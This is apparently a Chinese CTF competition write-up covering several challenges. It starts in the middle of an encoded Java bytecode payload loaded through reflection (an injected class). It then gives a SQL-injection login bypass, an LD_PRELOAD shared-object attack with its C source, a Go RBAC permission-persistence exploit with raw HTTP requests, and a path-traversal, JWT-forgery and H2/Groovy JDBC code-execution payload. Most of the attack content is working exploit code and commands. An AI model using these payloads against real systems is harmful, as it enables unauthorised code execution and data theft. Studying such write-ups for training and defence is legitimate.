sTAR4DvQB8tgEaAQO9AAS2AN9OLbYAehMBIAS9AHxZAxIPU7YBGi0EvQAEWQMqU7YA38AAyMAAyLAAAQAAACwALQAYAAQAGQAAABoABgAAAJAABwCRAC0AkgAuAJMANQCUAEkAlQAaAAAANAAFAAcAJgEMAKgAAQBJACYBDQAcAAMALgBBAQ4ASwACAAAAbwEPAQQAAAA1ADoBDACoAAEAIgAAABYAAgAHACYBDAEQAAEANQA6AQwBEAABACgAAAAGAAFtBwAYAAsAAAAKAAQBIgCcAJ4AmgAJAMMAxAACAAcAAADUAAQABgAAAD67AS1ZtwEyTLsBL1kqtwE1TbsBMVkstwE4ThEBALwIOgQtGQS2ATxZNgWbAA8rGQQDFQW2AUCn/+srtgFEsAAAAAMAGQAAAB4ABwAAAJoACACbABEAnAAaAJ0AIQCfAC0AoAA5AKIAGgAAAD4ABgAAAD4BIwCkAAAACAA2ASQBJQABABEALQEmAScAAgAaACQBKAEpAAMAIQAdASoApAAEACoAFAErAQIABQAoAAAAHAAC/wAhAAUHAMgHAS0HAS8HATEHAMgAAPwAFwEACwAAAAQAAQANAAgAZwBZAAIABwAAAFcAAgADAAAAESoruAFMTSwEtgFPLCq2AVCwAAAAAgAZAAAADgADAAAApgAGAKcACwCoABoAAAAgAAMAAAARAUUAHAAAAAAAEQFGAQQAAQAGAAsBRwFIAAIACwAAAAQAAQAYAAgBSQFKAAIABwAAAMcAAwAEAAAAKCq2AHpNLMYAGSwrtgFXTi0EtgFPLbBOLLYBWk2n/+m7AVJZK7cBW78AAQAJABUAFgFSAAQAGQAAACYACQAAAKwABQCtAAkArwAPALAAFACxABYAsgAXALMAHAC0AB8AtgAaAAAANAAFAA8ABwFHAUgAAwAXAAUASgFTAAMAAAAoAUUAHAAAAAAAKAFGAQQAAQAFACMApwCoAAIAIgAAAAwAAQAFACMApwEQAAIAKAAAAA0AA/wABQcAfFAHAVIIAAsAAAAEAAEBUgAoAFgAWQACAAcAAABCAAQAAgAAAA4qKwO9AHwDvQAEuADtsAAAAAIAGQAAAAYAAQAAALoAGgAAABYAAgAAAA4BXAAcAAAAAAAOAV0BBAABAAsAAAAIAAMAnACaAJ4AKQBYAOsAAgAHAAACFwADAAkAAADKKsEAfJkACirAAHynAAcqtgB6OgQBOgUZBDoGGQXHAGQZBsYAXyzHAEMZBrYBazoHAzYIFQgZB76iAC4ZBxUIMrYBbCu2AW+ZABkZBxUIMrYBc76aAA0ZBxUIMjoFpwAJhAgBp//QpwAMGQYrLLYA0ToFp/+pOgcZBrYBWjoGp/+dGQXHAAy7AJxZK7cBdL8ZBQS2ANcqwQB8mQAaGQUBLbYA37A6B7sAlVkZB7YBd7cBeL8ZBSottgDfsDoHuwCVWRkHtgF3twF4vwADACUAcgB1AJwAnACjAKQAmgCzALoAuwCaAAMAGQAAAG4AGwAAAL4AFAC/ABcAwQAbAMIAJQDEACkAxgAwAMcAOwDIAFYAyQBdAMoAYADHAGYAzQBpAM4AcgDSAHUA0AB3ANEAfgDSAIEA1ACGANUAjwDXAJUA2ACcANoApADbAKYA3ACzAOAAuwDhAL0A4gAaAAAAegAMADMAMwEBAQIACAAwADYBXgFfAAcAdwAHAEoBYAAHAKYADQBKAWEABwC9AA0ASgFhAAcAAADKAUUAHAAAAAAAygFdAQQAAQAAAMoBYgFjAAIAAADKAWQA4QADABQAtgCnAKgABAAXALMBZQCmAAUAGwCvAWYAqAAGACgAAAAvAA4OQwcAfP4ACAcAfAcA0wcAfP0AFwcBZwEs+QAFAghCBwCcCw1UBwCaDkcHAJoACwAAAAgAAwCcAJ4AmgAIAXkAFgABAAcAAAAlAAIAAAAAAAm7AAJZtwF6V7EAAAABABkAAAAKAAIAAAAhAAgAIgAA';try{clsBase64=classLoader.loadClass('java.util.Base64');clsDecoder=classLoader.loadClass('java.util.Base64$Decoder');decoder=clsBase64.getMethod('getDecoder').invoke(base64Clz);bytecode=clsDecoder.getMethod('decode',clsString).invoke(decoder,bytecodeBase64);}catch(ee){try{datatypeConverterClz=classLoader.loadClass('javax.xml.bind.DatatypeConverter');bytecode=datatypeConverterClz.getMethod('parseBase64Binary',clsString).invoke(datatypeConverterClz,bytecodeBase64);}catch(eee){clazz1=classLoader.loadClass('sun.misc.BASE64Decoder');bytecode=clazz1.newInstance().decodeBuffer(bytecodeBase64);}}clsClassLoader=classLoader.loadClass('java.lang.ClassLoader');clsByteArray=(''.getBytes().getClass());clsInt=java.lang.Integer.TYPE;defineClass=clsClassLoader.getDeclaredMethod('defineClass',[clsByteArray,clsInt,clsInt]);defineClass.setAccessible(true);clazz=defineClass.invoke(classLoader,bytecode,0,bytecode.length);clazz.newInstance();};#{1};\")}","dbSource":"","type":"0"}
第一台里面有 MySQL, Redis 等
内网
内网有台Windows Server起的apache, 存在FTP匿名用户访问, 可以上传下载文件
可以改个.htaccess
<FilesMatch "\.php$">
SetHandler application/x-httpd-php
</FilesMatch>
实际上这里不是 php解析, 是 cgi 解析, 具体 wp 可以看本站另一篇 春秋云境 finance
还有一台Ollama的CVE漏洞
剩下的就没什么时间看了
hardPHP
这道题挺有意思
大概就是给了一个 SQL 注入的点, 但是要输入的 password 和数据库查出来的 password 保持一致
所以利用 dumpfile和 load_file, 第一次注入把第二次查询的表达式写入到文件里, 第二次查询拿出来文件内容和表达式一致
'union/**/select/**/'\'union/**/select/**/load_file(\'/tmp/222\')/**/union/**/select\''/**/into/**/dumpfile/**/'/tmp/222
'union/**/select/**/load_file('/tmp/222')/**/union/**/select'
之后在 admin.php
里执行了system("ls")
漏洞点是
<?php
foreach ($_REQUEST['env'] as $key => $value) {
putenv("$key=$value");
}
当然里面有非常之多的过滤,除去那些看到这里差不多就知道了, 利用LD_PRELOAD
注入环境变量, LD_PRELOAD=/tmp/xxx
/tmp/xxx
是我们恶意上传的 so 文件
还记得我们之前如何登录的吗, 这个数据库允许 dumpfile, 那我们直接写 so 文件就好了
'union/**/select/**/unhex('这里是你的 hex 编码后的数据')/**/into/**/dumpfile/**/'/tmp/xxx
gcc 构建一下 so 文件
gcc -shared -fPIC -o preload.so preload.c
#define _GNU_SOURCE
#include<stdlib.h>
#include<stdio.h>
#include<string.h>
__attribute__ ((__constructor__)) void preload (void){
unsetenv("LD_PRELOAD");
system("cat /f1ag");
}
最后成功 RCE
第二天
rbac
package main
import (
"errors"
"os"
"path/filepath"
"strings"
"github.com/gin-gonic/gin"
)
var RBACList = make(map[string]int)
type ResTemplate struct {
Success bool
Data any
}
type ExecStruct struct {
File []string
Directory []string
Pwd []string
Flag []string
FuncName string
Param string
}
func main() {
r := gin.Default()
initRBAC()
r.GET("/", func(c *gin.Context) {
htmlContent, err := os.ReadFile("index.html")
if err != nil {
c.String(400, "Error loading HTML file")
return
}
c.Writer.Write(htmlContent)
})
r.GET("/getCurrentRBAC", func(c *gin.Context) {
var response ResTemplate
if RBACList["rbac:read"] == 1 {
response = ResTemplate{
Success: true,
Data: RBACList,
}
c.JSON(200, response)
} else {
response = ResTemplate{
Success: false,
}
c.JSON(403, response)
}
})
r.POST("/execSysFunc", func(c *gin.Context) {
var execStruct ExecStruct
var response ResTemplate
err := c.ShouldBindJSON(&execStruct)
if err != nil {
response = ResTemplate{
Success: false,
Data: map[string]string{"error": err.Error()},
}
c.JSON(400, response)
}
// permission grant
RBACToGrant := make(map[string]int)
var value string
maxDeep := 0
if execStruct.Directory != nil {
for _, value = range execStruct.Directory {
if maxDeep < 8 {
RBACToGrant["directory:"+value] = 1
maxDeep++
} else {
break
}
}
}
if execStruct.Flag != nil {
for _, value = range execStruct.Flag {
if maxDeep < 8 {
RBACToGrant["flag:"+value] = 1
maxDeep++
} else {
break
}
}
}
if execStruct.Pwd != nil {
for _, value = range execStruct.Pwd {
if maxDeep < 8 {
RBACToGrant["pwd:"+value] = 1
maxDeep++
} else {
break
}
}
}
if execStruct.File != nil {
for _, value = range execStruct.File {
// Grant temporary file:return permissions
if value == "return" && RBACList["rbac:change_return"] != 1 {
if maxDeep < 5 {
RBACToGrant["rbac:change_return:1"] = 1
RBACToGrant["file:"+value] = 1
RBACToGrant["rbac:change_return:0"] = 1
maxDeep += 3
} else {
break
}
} else {
if maxDeep < 8 {
RBACToGrant["file:"+value] = 1
maxDeep++
} else {
break
}
}
}
}
updateRBAC(RBACToGrant)
result, err := execCommand(execStruct.FuncName, execStruct.Param)
if err != nil {
response = ResTemplate{
Success: false,
Data: map[string]string{"error": err.Error()},
}
c.JSON(400, response)
} else {
response = ResTemplate{
Success: true,
Data: map[string]string{"result": result},
}
initRBAC()
c.JSON(200, response)
}
})
r.Run(":80")
}
func initRBAC() {
RBACList = make(map[string]int)
RBACList["file:read"] = 0
RBACList["file:return"] = 0
RBACList["flag:read"] = 0
RBACList["flag:return"] = 0
RBACList["pwd:read"] = 0
RBACList["directory:read"] = 0
RBACList["directory:return"] = 0
RBACList["rbac:read"] = 1
RBACList["rbac:change_read"] = 1
RBACList["rbac:change_return"] = 0
}
func updateRBAC(RBACToGrant map[string]int) {
for key, value := range RBACToGrant {
if strings.HasSuffix(key, ":read") {
if RBACList["rbac:change_read"] == 1 {
RBACList[key] = value
}
} else if strings.HasSuffix(key, ":return") {
if RBACList["rbac:change_return"] == 1 {
RBACList[key] = value
}
} else if key == "rbac:change_return:1" {
RBACList["rbac:change_return"] = 1
} else if key == "rbac:change_return:0" {
RBACList["rbac:change_return"] = 0
} else {
RBACList[key] = value
}
}
}
func execCommand(funcName string, param string) (string, error) {
if funcName == "getPwd" {
if RBACList["pwd:read"] == 1 {
pwd, err := os.Getwd()
return pwd, err
} else {
return "No Permission", nil
}
} else if funcName == "getDirectory" {
// read directory
if RBACList["directory:read"] == 1 {
var fileNames []string
err := filepath.Walk(param, func(path string, info os.FileInfo, err error) error {
fileNames = append(fileNames, info.Name())
return nil
})
if err != nil {
return "error", err
}
directoryFiles := strings.Join(fileNames, " ")
if RBACList["directory:return"] == 1 {
return directoryFiles, nil
} else {
return "the directory " + param + " exists", nil
}
} else {
return "No Permission", nil
}
} else if funcName == "getFile" {
// read file
if RBACList["file:read"] == 1 {
if strings.Contains(param, "flag") {
if RBACList["flag:read"] != 1 {
return "No Permission", nil
}
}
data, err := os.ReadFile(param)
if err != nil {
return "file:"+param+" doesn't exist", nil
}
content := string(data)
if RBACList["file:return"] == 0 {
return "the file " + param + " exists", nil
} else if RBACList["file:return"] == 1 && !strings.Contains(param, "flag") {
return content, nil
} else if RBACList["file:return"] == 1 && strings.Contains(param, "flag") && RBACList["flag:return"] == 1 {
return content, nil
} else {
return "the file " + param + " exists", nil
}
} else {
return "No Permission", nil
}
} else {
return "No such func", errors.New("No such func")
}
}
关键点是 initRBAC()
时机, 这里其实 Dir 给了不存在的目录 Walk 的时候就会直接 panic, 也不会去执行这个initRBAC()
,也就是每次请求返回 err 或者 panic 的时候, 就会直接保留上次请求申请的权限.
if err != nil {
response = ResTemplate{
Success: false,
Data: map[string]string{"error": err.Error()},
}
c.JSON(400, response)
} else {
response = ResTemplate{
Success: true,
Data: map[string]string{"result": result},
}
initRBAC()
c.JSON(200, response)
}
attack
初始访问 RBAC 权限列表
构造请求
请求 1
POST /execSysFunc HTTP/2
Host: eci-2zefjnatr5kz6ajki0cs.cloudeci1.ichunqiu.com:80
Content-Length: 138
Sec-Ch-Ua-Platform: "macOS"
Accept-Language: zh-CN,zh;q=0.9
Sec-Ch-Ua: "Chromium";v="135", "Not-A.Brand";v="8"
Content-Type: application/json
Sec-Ch-Ua-Mobile: ?0
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/135.0.0.0 Safari/537.36
Accept: */*
Origin: https://eci-2zefjnatr5kz6ajki0cs.cloudeci1.ichunqiu.com:80
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: https://eci-2zefjnatr5kz6ajki0cs.cloudeci1.ichunqiu.com:80/
Accept-Encoding: gzip, deflate, br
Priority: u=1, i
{"File":[
"read",
"return"],"Directory":[
"read",
"return"],"Pwd":[
],"Flag":[
"read"],"FuncName":"getDirectory","Param":"/tmp/zxx"}
这里注意一下,由于for range
遍历 map 的时候, 顺序不是塞进去的顺序, 打个 log 就能发现, 这里实际上是先设置rbac:change_return:0
为 1, 后设置rbac:change_return:1 : 1
, 而我们触发了 panic, 之后随便设置 return 都可以了
current kv: file:return : 1
current kv: rbac:change_return:0 : 1
current kv: directory:read : 1
current kv: flag:read : 1
current kv: file:read : 1
current kv: rbac:change_return:1 : 1
简单来说, 就是第一次让rbac:change_return:1
在 rbac:change_return:0
后面被遍历, 这样在 err 或者 panic 的情况下 rbac:change_return
的值就永远是 1 了
请求 2
POST /execSysFunc HTTP/2
Host: eci-2zefjnatr5kz6ajki0cs.cloudeci1.ichunqiu.com:80
Content-Length: 116
Sec-Ch-Ua-Platform: "macOS"
Accept-Language: zh-CN,zh;q=0.9
Sec-Ch-Ua: "Chromium";v="135", "Not-A.Brand";v="8"
Content-Type: application/json
Sec-Ch-Ua-Mobile: ?0
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/135.0.0.0 Safari/537.36
Accept: */*
Origin: https://eci-2zefjnatr5kz6ajki0cs.cloudeci1.ichunqiu.com:80
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: https://eci-2zefjnatr5kz6ajki0cs.cloudeci1.ichunqiu.com:80/
Accept-Encoding: gzip, deflate, br
Priority: u=1, i
{"File":[
"return"
],"Directory":[
],"Pwd":[
],"Flag":[
"return"],"FuncName":"getDirectory","Param":"/tmp/zxx"}
请求三
POST /execSysFunc HTTP/2
Host: eci-2zefjnatr5kz6ajki0cs.cloudeci1.ichunqiu.com:80
Content-Length: 88
Sec-Ch-Ua-Platform: "macOS"
Accept-Language: zh-CN,zh;q=0.9
Sec-Ch-Ua: "Chromium";v="135", "Not-A.Brand";v="8"
Content-Type: application/json
Sec-Ch-Ua-Mobile: ?0
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/135.0.0.0 Safari/537.36
Accept: */*
Origin: https://eci-2zefjnatr5kz6ajki0cs.cloudeci1.ichunqiu.com:80
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: https://eci-2zefjnatr5kz6ajki0cs.cloudeci1.ichunqiu.com:80/
Accept-Encoding: gzip, deflate, br
Priority: u=1, i
{"File":[
],"Directory":[
],"Pwd":[
],"Flag":[],"FuncName":"getFile","Param":"/flag"}
fix
看着修
security_rasp
百度的 openrasp, 然后给了个反序列化入口, 打的应该是绕过黑名单
attack
不会, 我讨厌 java
fix
把所有 return 全部改成 block
OTA
attack
wget url/static/%2f/%2f/%2e%2e/%2f/%2f/%2e%2e/opt/ota.jar
把文件下来弄到jwtkey, 然后伪造 session,执行命令
然后打groovy
{
"jdbcUrl": "jdbc:h2:mem:test;MODE=MSSQLServer;init=CREATE ALIAS T5 AS '@groovy.transform.ASTTest(value={ assert java.lang.Runtime.getRuntime().exec(\"bash -c {echo,cmd}|{base64,-d}|{bash,-i}\")})def x'",
"username": "sa",
"password": "11111111"
}
fix
路径穿越,更新一下 spring-parent 从 3.3.3换到3.3.4